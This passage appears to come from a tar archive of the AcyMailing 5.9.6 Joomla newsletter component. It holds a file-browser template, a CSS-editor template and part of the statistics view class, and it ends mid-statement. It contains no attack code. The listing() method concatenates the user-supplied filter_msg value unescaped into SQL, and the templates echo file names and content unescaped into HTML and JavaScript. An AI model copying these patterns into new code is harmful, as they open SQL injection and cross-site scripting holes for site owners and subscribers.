?><div id="maincontent" style="border: 1px solid rgb(233, 233, 233);">
	<form action="<?php echo acymailing_completeLink('file', true); ?>" method="post" name="adminForm" id="adminForm" enctype="multipart/form-data" style="margin:0px;">
		<div id="folderarea" style="box-shadow: 0px 4px 4px -4px rgba(0, 0, 0, 0.3);padding:15px;">
			<button style="float: right;" class="btn" onclick="changeDisplay(event);" id="btn_change_display" title="<?php echo acymailing_translation('ACY_DISPLAY_NOICON'); ?>"><i id="iconTypeDisplay" class="acyicon-list_view"></i></button>
			<?php
			$folders = acymailing_generateArborescence($this->uploadFolders);
			$filetreeType = acymailing_get('type.filetree');
			$filetreeType->display($folders, $this->uploadFolder, 'currentFolder', 'changeFolder(path)');
			?>
		</div>
		<script type="text/javascript">
			var clickedDel = false;
			document.addEventListener("DOMContentLoaded", function(){
				display(document.getElementById('displayType').value);
			});
			function changeFolder(folderName){
				var url = window.location.href;
				if (url.indexOf('?') > -1){
					var lastParam = url.substring(url.lastIndexOf('&') + 1);
					if(url.indexOf('pictName') > -1){
						var temp = url.split('&');
						for(var i=0;i<temp.length;i++){
							if(temp[i].indexOf('pictName') > -1){
							temp.splice(i, 1);
								i--;
							}
						}
						url = temp.join('&');
						lastParam = url.substring(url.lastIndexOf('&') + 1);
					}
					if(lastParam == 'task=createFolder')url = url.replace(lastParam,'task=browse&e_name=ACY_NAME_AREA');
					lastParam = lastParam.split('=');
					if(lastParam=='selected_folder')
					url = url.replace(lastParam, 'selected_folder='+folderName);
					else

					url += '&currentFolder='+folderName;
				}else{
					url += '?currentFolder='+folderName;
				}
				window.location.href = url;
			}

			function changeDisplay(event){
				event.preventDefault();
				if(document.getElementById('displayPict').style.display == ''){
					display('list');
				}else{
					display('icons');
				}
			}
			function display(type){
				if(type == 'list'){
					document.getElementById('displayPict').style.display = 'none';
					document.getElementById('displayLine').style.display = '';
					document.getElementById('btn_change_display').title = '<?php echo acymailing_translation('ACY_DISPLAY_ICON'); ?>';
					document.getElementById('iconTypeDisplay').className = 'acyicon-image_view';
					document.getElementById('displayType').value = 'list';
				}else{
					document.getElementById('displayPict').style.display = '';
					document.getElementById('displayLine').style.display = 'none';
					document.getElementById('btn_change_display').title = '<?php echo acymailing_translation('ACY_DISPLAY_NOICON'); ?>';
					document.getElementById('iconTypeDisplay').className = 'acyicon-list_view';
					document.getElementById('displayType').value = 'icons';
				}
			}
			function diplayDeleteBtn(id, action){
				if(action == 'display'){
					document.getElementById('acy_attachment_delete_' + id + '').style.display = '';
				}else{
					document.getElementById('acy_attachment_delete_' + id + '').style.display = 'none';
				}
			}
			function confirmDeleteFile(event, fileName){
				event.preventDefault();
				clickedDel = true;
				var divText = document.getElementById('confirmTxtAttach');
				divText.innerHTML = '<?php echo acymailing_translation('ACY_VALIDDELETEITEMS'); ?>' + '<br /><span class="acy_folder_name">(' + fileName + ')</span><br />';
				var divDelete = document.getElementById('confirmOkAttach');
				divDelete.onclick = function(event){
					event.preventDefault();
					deleteFile(fileName);
				};

				var divConfirm = document.getElementById('confirmBoxAttach');
				divConfirm.style.display = 'inline';
			}
			function deleteFile(fileName){
				var urlFile = window.location.href;
				if(urlFile.lastIndexOf('#') == urlFile.length - 1){
					urlFile = urlFile.substr(0, urlFile.length - 1);
				}
				var lastParam = urlFile.substring(urlFile.lastIndexOf('&') + 1);
				if(lastParam.indexOf('filename=') > -1){
					urlFile = urlFile.substring(0, urlFile.indexOf('filename=') - 1);
				}
				if(urlFile.indexOf('?') > -1){
					window.location.href = urlFile + '&task=<?php echo acymailing_getVar('cmd', 'task', ''); ?>&id=<?php echo acymailing_getVar('cmd', 'id', ''); ?>&filename=' + fileName;
				}else{
					window.location.href = urlFile + '?task=<?php echo acymailing_getVar('cmd', 'task', ''); ?>&id=<?php echo acymailing_getVar('cmd', 'id', ''); ?>&filename=' + fileName;
				}
			}
		</script>
		<div id="filesarea" style="width:100%;height:460px;overflow-x: hidden;text-align: center;">
			<?php
			if(file_exists($this->uploadPath)) $files = acymailing_getFiles($this->uploadPath);
			$imageExtensions = array('jpg', 'jpeg', 'png', 'gif', 'ico', 'bmp');

			if(in_array($this->map, array('thumb', 'readmore'))){
				$allowedExtensions = $imageExtensions;
			}else{
				$allowedExtensions = explode(',', $this->config->get('allowedfiles'));
				$allowedExtensions = array_merge($allowedExtensions, $imageExtensions);
			}

			$displayList = '<div id="displayLine" style="display: none; text-align: left;">';
			echo '<div id="displayPict">';
			if(!empty($files)){
				$k = 0;
				$displayList .= '<table class="acymailing_smalltable">';
				foreach($files as $file){
					if(strrpos($file, '.') === false) continue;

					$ext = strtolower(substr($file, strrpos($file, '.') + 1));
					if(!in_array($ext, $allowedExtensions)) continue;

					$filesFound = true;

					echo '<div style="float: left; text-align: center; position: relative;">';

					$linkStart = '<a href="#" style="text-decoration:none;" onclick="if(clickedDel == false){';
					$linkStart .= "parent.document.getElementById('".$this->map."').value = '".str_replace(DS, '/', $this->uploadFolder)."/$file';";
					if(in_array($this->map, array('thumb', 'readmore'))){
						$linkStart .= "parent.document.getElementById('".$this->map."preview').src = '".acymailing_rootURI().str_replace(DS, '/', $this->uploadFolder)."/$file'; ";
					}else{
						$linkStart .= "parent.document.getElementById('".$this->map."selection').innerHTML = '$file'; ";
						$linkStart .= "parent.document.getElementById('".$this->map."suppr').style.display = 'inline';";
					}
					$linkStart .= 'window.parent.acymailing.closeBox();}">';

					echo $linkStart;

					$structPict = '<div onmouseover="diplayDeleteBtn('.$k.', \'display\');" onmouseout="diplayDeleteBtn('.$k.', \'hide\');">';
					$structPict .= '<div style="width: 160px;height: 160px;margin: 14px;border: 1px solid rgb(233, 233, 233);border-radius:4px;overflow: hidden;" onmouseover="this.style.opacity = 0.5;" onmouseout="this.style.opacity = 1;" title="'.$file.'">';
					if(strlen($file) > 20){
						$structPict .= '<span title="'.str_replace('"', '', $file).'">'.substr(rtrim($file, $ext), 0, 17).'...'.$ext.'</span>';
					}else{
						$structPict .= $file;
					}

					if(in_array($ext, $imageExtensions)){
						$imgPath = ACYMAILING_LIVE.$this->uploadFolder.'/'.$file;
					}else{
						$imgPath = ACYMAILING_LIVE.ACYMAILING_MEDIA_FOLDER.'/images/file.png';
					}
					$structPict .= '<br /><img src="'.$imgPath.'" style="margin-top:5px;max-width:150px;"/>';
					$structPict .= '</div>';
					$structPict .= '<img class="acy_attachment_delete" id="acy_attachment_delete_'.$k.'" src="'.ACYMAILING_LIVE.ACYMAILING_MEDIA_FOLDER.DS.'images'.DS.'editor'.DS.'delete.png" onclick="confirmDeleteFile(event, \''.$file.'\')" style="display: none;"/>';
					$structPict .= '</div>';

					echo $structPict;
					echo '</a></div>';


					$displayList .= '<tr><td width="30" style="padding-left: 10px;">'.$linkStart.'<img src="'.$imgPath.'" style="max-width:24px;"/></a></td>';
					$displayList .= '<td>'.$linkStart.$file.'</a></td>';
					$displayList .= '<td><img class="acy_attachment_delete" src="'.ACYMAILING_LIVE.ACYMAILING_MEDIA_FOLDER.DS.'images'.DS.'editor'.DS.'delete.png" onclick="confirmDeleteFile(event, \''.$file.'\')"/></td></tr>';
					$k++;
				}
				$displayList .= '</table>';
			}
			echo '</div>';
			$displayList .= '</div>';
			echo $displayList;

			if(empty($filesFound)) acymailing_display(acymailing_translation('NO_FILE_FOUND'), 'warning');
			?>
			<div class="confirmBoxAttach" id="confirmBoxAttach" style="display: none;">
				<div id="acy_popup_content">
					<span class="confirmTxtAttach" id="confirmTxtAttach"></span><br/>
					<button class="acymailing_button" id="confirmCancelAttach" onclick="event.preventDefault(); clickedDel=false;  document.getElementById('confirmBoxAttach').style.display='none';" style="padding: 6px 15px 6px 10px;">
						<i class="acyicon-cancel" style="margin-right: 5px; font-size: 16px;top: 2px; position: relative;"></i><?php echo acymailing_translation('ACY_CANCEL'); ?>
					</button>
					<button class="acymailing_button acymailing_button_delete" id="confirmOkAttach" style="padding: 8px 15px 6px 10px;">
						<i class="acyicon-delete" style="margin-right: 5px; font-size: 12px;"></i><?php echo acymailing_translation('ACY_DELETE'); ?>
					</button>
				</div>
			</div>
		</div>

		<div id="uploadarea" style="text-align: center;box-shadow: 0px -4px 4px -4px rgba(0, 0, 0, 0.3);padding: 10px 0px 10px 0px;">
			<input type="file" style="width:auto;" name="uploadedFile"/><br/>
			<input type="hidden" id="displayType" name="displayType" value="<?php echo $this->displayType; ?>"/>
			<input type="hidden" name="currentFolder" value="<?php echo htmlspecialchars($this->uploadFolder, ENT_COMPAT, 'UTF-8'); ?>"/>
			<input type="hidden" name="id" value="<?php echo htmlspecialchars($this->map, ENT_COMPAT, 'UTF-8'); ?>"/>
			<?php acymailing_formOptions(); ?>
			<button class="acymailing_button_grey" type="button" onclick="document.adminForm.task.value='select';submit();"> <?php echo acymailing_translation('IMPORT'); ?> </button>
		</div>
	</form>
</div>
com_acymailing/views/file/tmpl/index.html000060400000000054152455305300014541 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/file/tmpl/css.php000060400000001441152455305300014046 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink('file', true); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off">
		<textarea style="width:98%;height:350px;" rows="20" name="csscontent"><?php echo $this->content; ?></textarea>

		<input type="hidden" name="file" value="<?php echo $this->type.'_'.$this->fileName; ?>"/>
		<input type="hidden" name="var" value="<?php echo acymailing_getVar('cmd', 'var'); ?>"/>
		<?php acymailing_formOptions(); ?>
	</form>
</div>
com_acymailing/views/stats/view.html.php000060400000074352152455305300014451 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class StatsViewStats extends acymailingView{

	var $searchFields = array('b.subject', 'b.alias', 'a.mailid');
	var $selectFields = array('b.subject', 'b.alias', 'b.type', 'a.*', 'a.bouncedetails');
	var $searchHistory = array('b.subject', 'c.email', 'c.name');
	var $historyFields = array('a.*', 'b.subject', 'c.email', 'c.name');
	var $detailSearchFields = array('b.subject', 'b.alias', 'a.mailid', 'c.name', 'c.email', 'a.subid');
	var $detailSelectFields = array('b.subject', 'b.alias', 'c.name', 'c.email', 'b.type', 'a.ip', 'a.*');


	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function unsubchart(){
		$mailid = acymailing_getVar('int', 'mailid');
		if(empty($mailid)) return;

		acymailing_addStyle(false, ACYMAILING_CSS.'acyprint.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'acyprint.css'), 'text/css', 'print');

		$entries = acymailing_loadObjectList('SELECT * FROM #__acymailing_history WHERE mailid = '.intval($mailid).' AND action="unsubscribed" LIMIT 10000');

		if(empty($entries)){
			acymailing_display("No data recorded for that Newsletter", 'warning');
			return;
		}

		$acyToolbar = acymailing_get('helper.toolbar');
		$acyToolbar->link(acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'stats&task=unsubchart&export=1&mailid='.acymailing_getVar('int', 'mailid'), true), acymailing_translation('ACY_EXPORT'), 'export');
		$acyToolbar->directPrint();
		$acyToolbar->setTitle(acymailing_translation('ACTION_UNSUBSCRIBED'));
		$acyToolbar->display();

		$unsubreasons = array();
		$unsubreasons['NO_REASON'] = 0;
		foreach($entries as $oneEntry){
			if(empty($oneEntry->data)){
				$unsubreasons['NO_REASON']++;
				continue;
			}

			$allReasons = explode("\n", $oneEntry->data);
			$added = false;
			foreach($allReasons as $oneReason){
				list($reason, $value) = explode('::', $oneReason);
				if(empty($value) || $reason != 'REASON') continue;
				$unsubreasons[$value] = @$unsubreasons[$value] + 1;
				$added = true;
			}
			if(!$added) $unsubreasons['NO_REASON']++;
		}

		$finalReasons = array();
		foreach($unsubreasons as $oneReason => $total){
			$name = $oneReason;
			if(preg_match('#^[A-Z_]*$#', $name)) $name = acymailing_translation($name);
			$finalReasons[$name] = $total;
		}

		arsort($finalReasons);

		acymailing_addScript(false, "https://www.google.com/jsapi");

		$this->unsubreasons = $finalReasons;

		if(acymailing_getVar('cmd', 'export')){
			$exportHelper = acymailing_get('helper.export');
			$exportHelper->exportOneData($finalReasons, 'unsub_'.acymailing_getVar('int', 'mailid'));
		}
	}

	function forward(){
		$this->unsubscribed();
	}

	function unsubscribed(){

		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName().$this->getLayout();
		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'a.date', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'desc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));
		$selectedMail = acymailing_getUserVar($paramBase."filter_mail", 'filter_mail', 0, 'int');
		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getVar('int', 'start', acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int'));

		$filters = array();
		$filters[] = "a.action = ".acymailing_escapeDB($this->getLayout());

		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search).'%\'';
			$filters[] = implode(" LIKE $searchVal OR ", $this->searchHistory)." LIKE $searchVal";
		}

		if(!empty($selectedMail)){
			$filters[] = 'a.mailid = '.$selectedMail;
		}

		$query = 'SELECT '.implode(' , ', $this->historyFields).' FROM '.acymailing_table('history').' as a';
		$query .= ' JOIN '.acymailing_table('mail').' as b on a.mailid = b.mailid';
		$query .= ' JOIN '.acymailing_table('subscriber').' as c on a.subid = c.subid';
		$query .= ' WHERE ('.implode(') AND (', $filters).')';
		if(!empty($pageInfo->filter->order->value)) $query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;

		if(empty($pageInfo->limit->value)) $pageInfo->limit->value = 100;

		$rows = acymailing_loadObjectList($query, '', $pageInfo->limit->start, $pageInfo->limit->value);

		$queryCount = 'SELECT COUNT(*) FROM #__acymailing_history as a';
		if(!empty($pageInfo->search)){
			$queryCount .= ' JOIN '.acymailing_table('mail').' as b on a.mailid = b.mailid';
			$queryCount .= ' JOIN '.acymailing_table('subscriber').' as c on a.subid = c.subid';
		}
		$queryCount .= ' WHERE ('.implode(') AND (', $filters).')';
		
		$pageInfo->elements->total = acymailing_loadResult($queryCount);
		$pageInfo->elements->page = count($rows);

		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		$query = 'SELECT DISTINCT a.mailid FROM `#__acymailing_history` as a WHERE a.action = '.acymailing_escapeDB($this->getLayout()).' AND a.mailid > 0';
		$allMailids = acymailing_loadResultArray($query);

		$emails = array();
		if(!empty($allMailids)){
			if(!empty($selectedMail) && !in_array($selectedMail, $allMailids)) array_unshift($allMailids, $selectedMail);
			$query = 'SELECT subject, mailid FROM `#__acymailing_mail` WHERE mailid IN ('.implode(',', $allMailids).') ORDER BY mailid DESC';
			$emails = acymailing_loadObjectList($query);
		}


		$newsletters = array();
		$newsletters[] = acymailing_selectOption('0', acymailing_translation('ALL_EMAILS'));
		foreach($emails as $oneMail){
			if(!empty($oneMail->subject)) $oneMail->subject = acyEmoji::Decode($oneMail->subject);
			$newsletters[] = acymailing_selectOption($oneMail->mailid, $oneMail->subject);
		}
		$filterMail = acymailing_select($newsletters, 'filter_mail', 'class="inputbox" size="1" onchange="document.adminForm.submit( );"', 'value', 'text', (int)$selectedMail);

		if(acymailing_isAdmin() && acymailing_isNoTemplate()){
			$acyToolbar = acymailing_get('helper.toolbar');
			if(!empty($rows)) $acyToolbar->custom('export'.ucfirst(acymailing_getVar('cmd', 'task')), acymailing_translation('ACY_EXPORT'), 'export', false, '');
			$acyToolbar->custom('', acymailing_translation('ACY_CANCEL'), 'cancel', false, 'location.href=\''.acymailing_completeLink('diagram&task=mailing&mailid='.acymailing_getVar('int', 'filter_mail'), true).'\';');
			$acyToolbar->setTitle(acymailing_translation($this->getLayout() == 'forward' ? 'FORWARDED' : 'UNSUBSCRIBECAPTION'));
			$acyToolbar->topfixed = false;
			$acyToolbar->display();
		}elseif(acymailing_isNoTemplate()){
			$filterMail = '<input type="hidden" value="'.acymailing_getVar('int', 'mailid').'" name="mailid" />';
			$filterMail .= '<input type="hidden" value="'.acymailing_getVar('int', 'filter_mail').'" name="filter_mail" />';
		}

		$this->filterMail = $filterMail;
		$this->rows = $rows;
		$this->pageInfo = $pageInfo;
		$this->pagination = $pagination;

		$this->setLayout('unsubscribed');
	}

	function detaillisting(){

		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();
		$config = acymailing_config();

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName().$this->getLayout();
		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'a.senddate', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'desc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));
		$selectedMail = acymailing_getUserVar($paramBase."filter_mail", 'filter_mail', 0, 'int');
		$selectedStatus = acymailing_getUserVar($paramBase."filter_status", 'filter_status', 0, 'string');
		$selectedBounce = acymailing_getUserVar($paramBase."filter_bounce", 'filter_bounce', 0, 'string');

		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		$filters = array();
		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search).'%\'';
			$filters[] = implode(" LIKE $searchVal OR ", $this->detailSearchFields)." LIKE $searchVal";
		}

		if(!empty($selectedMail)) $filters[] = 'a.mailid = '.$selectedMail;
		if(!empty($selectedStatus)){
			if($selectedStatus == 'bounce'){
				$filters[] = 'a.bounce > 0';
			}elseif($selectedStatus == 'open') $filters[] = 'a.open > 0';
			elseif($selectedStatus == 'notopen') $filters[] = 'a.open < 1';
			elseif($selectedStatus == 'failed') $filters[] = 'a.fail > 0';
		}
		if(!empty($selectedStatus) && $selectedStatus == 'bounce' && !empty($selectedBounce)) $filters[] = 'a.bouncerule='.acymailing_escapeDB($selectedBounce);

		$extrajoin = '';

		$query = 'SELECT '.implode(' , ', $this->detailSelectFields);
		$query .= ' FROM '.acymailing_table('userstats').' as a';
		$query .= ' JOIN '.acymailing_table('mail').' as b on a.mailid = b.mailid';
		$query .= ' JOIN '.acymailing_table('subscriber').' as c on a.subid = c.subid';
		$query .= $extrajoin;
		if(!empty($filters)) $query .= ' WHERE ('.implode(') AND (', $filters).')';
		if(!empty($pageInfo->filter->order->value)) $query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;

		if(empty($pageInfo->limit->value)) $pageInfo->limit->value = 100;

		$rows = acymailing_loadObjectList($query, '', $pageInfo->limit->start, $pageInfo->limit->value);

		if($rows === null){
			acymailing_display(substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
			if(file_exists(ACYMAILING_BACK.'install.joomla.php')){
				include_once(ACYMAILING_BACK.'install.joomla.php');
				$installClass = new acymailingInstall();
				$installClass->fromVersion = '3.7.0';
				$installClass->update = true;
				$installClass->updateSQL();
			}
		}

		$queryCount = 'SELECT COUNT(a.subid) FROM #__acymailing_userstats as a';
		$queryCount .= ' JOIN '.acymailing_table('mail').' as b on a.mailid = b.mailid';
		if(!empty($pageInfo->search)){
			$queryCount .= ' JOIN '.acymailing_table('subscriber').' as c on a.subid = c.subid';
		}
		$queryCount .= $extrajoin;
		if(!empty($filters)) $queryCount .= ' WHERE ('.implode(') AND (', $filters).')';
		
		$pageInfo->elements->total = acymailing_loadResult($queryCount);
		$pageInfo->elements->page = count($rows);

		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		$toggleClass = acymailing_get('helper.toggle');

		$maildetailstatstype = acymailing_get('type.detailstatsmail');
		$deliverstatus = acymailing_get('type.deliverstatus');
		$filtersType = new stdClass();
		if(!acymailing_isAdmin()){
			$filtersType->mail = '<input type="hidden" value="'.$selectedMail.'" name="filter_mail" />';
			$mailClass = acymailing_get('class.mail');
			$this->mailing = $mailClass->get($selectedMail);
		}else{
			$filtersType->mail = $maildetailstatstype->display('filter_mail', $selectedMail);
		}
		$filtersType->status = $deliverstatus->display('filter_status', $selectedStatus);

		$detailstatsbouncetype = acymailing_get('type.detailstatsbounce');
		if(!empty($selectedStatus) && $selectedStatus == 'bounce'){
			$filtersType->bounce = $detailstatsbouncetype->display('filter_bounce', $selectedBounce);
		}else $filtersType->bounce = '';

		if(acymailing_isAdmin()){
			$acyToolbar = acymailing_get('helper.toolbar');
			if(acymailing_isNoTemplate()){
				if(acymailing_isAllowed($config->get('acl_subscriber_export', 'all'))) $acyToolbar->custom('export', acymailing_translation('ACY_EXPORT'), 'export', false);
				$acyToolbar->custom('', acymailing_translation('ACY_CANCEL'), 'cancel', false, 'location.href=\''.acymailing_completeLink('diagram&task=mailing&mailid='.acymailing_getVar('int', 'filter_mail'), true).'\';');
				$acyToolbar->setTitle(acymailing_translation('DETAILED_STATISTICS'));
				$acyToolbar->topfixed = false;
			}else{
				if(acymailing_isAllowed($config->get('acl_subscriber_export', 'all'))){
					$acyToolbar->custom('export', acymailing_translation('ACY_EXPORT'), 'export', false);
				}
				$acyToolbar->link(acymailing_completeLink('stats'), acymailing_translation('GLOBAL_STATISTICS'), 'cancel');
				$acyToolbar->divider();
				$acyToolbar->help('statistics');
				$acyToolbar->setTitle(acymailing_translation('DETAILED_STATISTICS'), 'stats&task=detaillisting');
			}
			$acyToolbar->display();
		}
		
		if(acymailing_isNoTemplate()){
			$filtersType->mail = '<input type="hidden" value="'.acymailing_getVar('int', 'mailid').'" name="mailid" />';
			$filtersType->mail .= '<input type="hidden" value="'.acymailing_getVar('int', 'filter_mail').'" name="filter_mail" />';
		}

		$this->filters = $filtersType;
		$this->toggleClass = $toggleClass;
		$this->rows = $rows;
		$this->pageInfo = $pageInfo;
		$this->pagination = $pagination;
	}

	function listing(){
		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();
		$config = acymailing_config();

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName().$this->getLayout();
		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'a.senddate', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'desc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));
		$selectedTags = acymailing_getUserVar($paramBase."filter_tags", 'filter_tags', array(), 'array');

		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		$filters = array();
		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$filters[] = implode(" LIKE $searchVal OR ", $this->searchFields)." LIKE $searchVal";
		}

		$listClass = acymailing_get('class.list');
		if(acymailing_isAdmin()) {
			$lists = $listClass->getLists();
		}else {
			$lists = $listClass->getFrontendLists();
		}
		$msgType = array();
		$msgType[] = acymailing_selectOption('0', acymailing_translation('ALL_EMAILS'));
		$msgType[] = acymailing_selectOption('<OPTGROUP>', acymailing_translation('NEWSLETTER'));
		if(acymailing_isAdmin()) $msgType[] = acymailing_selectOption('news', acymailing_translation('ALL_LISTS'));
		foreach($lists as $oneList){
			$msgType[] = acymailing_selectOption('list_'.$oneList->listid, $oneList->name);
		}
		$msgType[] = acymailing_selectOption('</OPTGROUP>');

		if(acymailing_isAdmin()) {
			$msgType[] = acymailing_selectOption('notification', acymailing_translation('NOTIFICATIONS'));
			if (acymailing_level(1)) {
				$msgType[] = acymailing_selectOption('autonews', acymailing_translation('AUTONEW'));
				$msgType[] = acymailing_selectOption('joomlanotification', acymailing_translation('JOOMLA_NOTIFICATIONS'));
			}
			if (acymailing_level(3)) {
				$listCampaign = acymailing_get('class.list');
				$listCampaign->type = 'campaign';
				$campaigns = $listCampaign->getLists();
				$msgType[] = acymailing_selectOption('<OPTGROUP>', acymailing_translation('FOLLOWUP'));
				$msgType[] = acymailing_selectOption('followup', acymailing_translation('ACY_ALL_CAMPAIGNS'));
				foreach ($campaigns as $oneCamp) {
					$msgType[] = acymailing_selectOption('camp_' . $oneCamp->listid, $oneCamp->name);
				}
				$msgType[] = acymailing_selectOption('</OPTGROUP>');
			}
			$msgType[] = acymailing_selectOption('welcome', acymailing_translation('MSG_WELCOME'));
			$msgType[] = acymailing_selectOption('unsub', acymailing_translation('MSG_UNSUB'));
			if (acymailing_level(3)) {
				$msgType[] = acymailing_selectOption('action', acymailing_translation('ACY_DISTRIBUTION'));
			}
		}

		$selectedMsgType = acymailing_getUserVar($paramBase."filter_msg", 'filter_msg', 0, 'string');
		$msgTypeChoice = acymailing_select($msgType, "filter_msg", 'class="inputbox" style="max-width: 200px;" onchange="document.adminForm.limitstart.value=0;document.adminForm.submit( );"', 'value', 'text', $selectedMsgType);
		$extraJoin = '';

		if(!empty($selectedMsgType)){
			$subfilter = substr($selectedMsgType, 0, 5);
			if($subfilter == 'camp_' || $subfilter == 'list_'){
				$filters[] = " b.type = '".($subfilter == 'camp_' ? 'followup' : 'news')."'";
				$filters[] = " lm.listid = ".substr($selectedMsgType, 5);
				$extraJoin .= " JOIN #__acymailing_listmail AS lm ON a.mailid = lm.mailid";
			}else{
				$filters[] = " b.type = '".$selectedMsgType."'";
			}
		}elseif (!acymailing_isAdmin()) {
			if (!empty($lists)) {
				$frontListsIds = array();
				foreach ($lists as $oneList) {
					$frontListsIds[] = $oneList->listid;
				}
				$extraJoin .= " JOIN #__acymailing_listmail AS lm ON a.mailid = lm.mailid";
				$filters[] = 'lm.listid IN (' . implode(',', $frontListsIds) . ')';
			}
		}

		if(!empty($selectedTags) && count($selectedTags) > 1){
			$tagCondition = array();
			foreach($selectedTags as $oneTag){
				if(strpos($oneTag, '|') === false) continue;
				$tag = explode('|', $oneTag);
				$tagCondition[] = intval($tag[0]);
			}
			$extraJoin .= ' JOIN #__acymailing_tagmail AS tm ON b.mailid = tm.mailid AND tagid IN ('.implode(',', $tagCondition).') ';
		}

		$query = 'SELECT '.implode(' , ', $this->selectFields);
		$query .= ', CASE WHEN (a.senthtml+a.senttext) <= a.bounceunique THEN 0 ELSE (a.openunique/(a.senthtml+a.senttext-a.bounceunique)) END AS openprct';
		$query .= ', CASE WHEN (a.senthtml+a.senttext) <= a.bounceunique THEN 0 ELSE (a.clickunique/(a.senthtml+a.senttext-a.bounceunique)) END AS clickprct';
		$query .= ', CASE WHEN a.openunique = 0 THEN 0 ELSE (a.clickunique/a.openunique) END AS efficiencyprct';
		$query .= ', CASE WHEN (a.senthtml+a.senttext) <= a.bounceunique THEN 0 ELSE (a.unsub/(a.senthtml+a.senttext-a.bounceunique)) END AS unsubprct';
		$query .= ', (a.senthtml+a.senttext) as totalsent';
		$query .= ', CASE WHEN (a.senthtml+a.senttext) = 0 THEN 0 ELSE (a.bounceunique/(a.senthtml+a.senttext)) END AS bounceprct';
		$query .= ' FROM '.acymailing_table('stats').' as a';
		$query .= ' JOIN '.acymailing_table('mail').' as b on a.mailid = b.mailid';
		if(!empty($extraJoin)) $query .= $extraJoin;
		if(!empty($filters)) $query .= ' WHERE ('.implode(') AND (', $filters).')';
		if(!empty($pageInfo->filter->order->value)){
			$query .= ' GROUP BY b.mailid ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;
		}

		$rows = acymailing_loadObjectList($query, '', $pageInfo->limit->start, $pageInfo->limit->value);

		if($rows === null){
			acymailing_display(substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
			if(file_exists(ACYMAILING_BACK.'install.joomla.php')){
				include_once(ACYMAILING_BACK.'install.joomla.php');
				$installClass = new acymailingInstall();
				$installClass->fromVersion = '3.6.0';
				$installClass->update = true;
				$installClass->updateSQL();
			}
		}

		$queryCount = 'SELECT COUNT(a.mailid) FROM '.acymailing_table('stats').' as a';
